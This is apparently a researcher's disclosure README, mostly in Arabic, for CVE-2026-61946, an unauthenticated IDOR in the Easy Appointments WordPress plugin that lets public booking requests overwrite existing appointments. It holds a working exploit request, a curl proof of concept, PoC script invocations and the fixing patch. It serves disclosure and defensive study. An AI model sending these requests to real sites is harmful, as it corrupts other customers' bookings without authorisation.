
CVE-2026-61946: IDOR غير مصادق عليه في Easy Appointments <= 3.12.27
اكتشفت ثغرة مرجع كائن غير مباشر غير مصادق عليها في إضافة WordPress
Easy Appointments. كانت نقطة النهاية العامة للحجز تقبل id
من سلسلة الاستعلام وتمرر البيانات الناتجة إلى مسار replace()
في قاعدة بيانات الإضافة.
وهذا يعني أن طلب الحجز العام الجديد كان يمكن تحويله إلى تحديث لصف موعد حالي. لم تكن هناك حاجة لتسجيل الدخول أو ملفات تعريف الارتباط أو حساب WordPress. أعطِ المفتاح الأساسي لموعد شخص آخر، واختر فتحة زمنية حقيقية متاحة، فتقوم الإضافة بالكتابة فوق ذلك الحجز ببيانات العميل والموعد التي يتحكم فيها المهاجم.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Affected | <= 3.12.27 |
| Fixed | 3.12.28 |
| Bug class | Unauthenticated IDOR / user-controlled primary key (CWE-639) |
| Impact | Arbitrary existing appointment overwrite |
| CVSS | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Credit | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
قبلت نقطة النهاية العامة طلبًا بهذا الشكل:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
لم يتم التعامل مع id=2 كهوية كائن غير موثوقة. في الإصدارات المتأثرة،
نجا من تصفية الإدخال ووصل إلى مسار الاستبدال في قاعدة البيانات. إذا كان الصف 2
ينتمي بالفعل إلى عميل آخر، فإن الطلب العام قام بتحديث ذلك الصف
بدلاً من إنشاء صف جديد.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
يكشف Easy Appointments معالج الحجز للزوار غير المصادقين:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
هذا متوقع لنموذج حجز عام. كان خطأ التفويض يتمثل في الثقة بمفتاح الكائن الذي يقدمه المتصل داخل ذلك المعالج العام.
كان التدفق القابل للاستغلال:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
لم تثبت فحوصات nonce وCAPTCHA ملكية معرّف الموعد المُدخل. كما كانت معطلة افتراضيًا في الإعداد الذي اختبرته، لذا لم يحتج الطلب إلى أي حالة جلسة على الإطلاق.
كانت نقطة النهاية تقوم بفحص التوفر. لكن ذلك لم يصلح مشكلة تفويض الكائن؛ بل كان يعني فقط أنه على المهاجم اختيار موقع وخدمة وعامل وتاريخ وفتحة زمنية حالية صالحة من البيانات العامة.
ستحتاج إلى:
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
ثم شغّل أيًا من نصوص PoC مع كلا مفتاحي الأمان. بدون --execute / -Execute،
تقوم البرامج النصية فقط بطباعة الطلب الذي سترسله.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
Manual curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
لا تتضمن العملية أي ترويسات مصادقة أو ملفات تعريف ارتباط.
أعدت إنتاج المشكلة على:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
استخدم الاختبار صف موعد حاليًا مملوكًا لحساب ضحية في بيئة الاختبار:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
بعد طلب الحجز العام، احتوى نفس المفتاح الأساسي على:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
إن بقاء المفتاح الأساسي والسعر دون تغيير يوضح سلوك التحديث: لم يكن هذا حجزًا ثانيًا يبدو مشابهًا للحجز الأول، بل كان الصف الحالي يتم استبداله.
نسخة من إثبات ما قبل/بعد موجودة في
evidence/sample-before-after.txt.
يمكن لمهاجم غير مصادق يعرف أو يخمّن معرّف موعد أن يفسد بيانات العميل والجدولة الخاصة بذلك الحجز. اعتمادًا على سير عمل الموقع، قد يشمل ذلك تغيير:
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
النتيجة العملية هي العبث الصامت بالحجوزات: يمكن إعادة توجيه المواعيد الشرعية أو إزاحتها أو تخريبها أو جعلها غير مجدية تشغيليًا. يكشف النموذج العام عن قيم الجدولة الصالحة المطلوبة لبناء الطلب.
الدرجة الرسمية هي 6.5 متوسطة:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
التغيير الأمني في الإصدار 3.12.28 صريح بجمال:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
لم يعد تدفق الحجز العام قادرًا على اختيار المفتاح الأساسي لكائن قاعدة البيانات. يُجبر الطلب على السير في مسار السجل الجديد بدلًا من السماح له باستبدال أي موعد حالي.
صحح نفس الالتزام الأمني أيضًا منطق خيار nonce. هذا دفاع جيد في العمق، لكن التحقق من nonce وحده لا يعد فحصًا للملكية لمعرّف موعد يقدمه المهاجم. إزالة المفتاح الذي يتحكم فيه العميل هو الإصلاح المباشر لثغرة IDOR.
التصحيح المستخرج موجود في patch/fix.diff.
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| Date | Event |
|---|---|
| 2026-04-03 | Reported to Patchstack |
| 2026-07-07 | Patch validated |
| 2026-07-16 | Patchstack published the vulnerability entry |
| 2026-07-23 | CVE-2026-61946 published |
إخلاء مسؤولية: يُنشر إثبات المفهوم هذا لأغراض البحث الدفاعي والتحقق بعد توفر التصحيح. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
CVE-2026-61946 - أُصلح في Easy Appointments 3.12.28. الإصدارات المتأثرة: 3.12.27 والإصدارات الأقدم.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online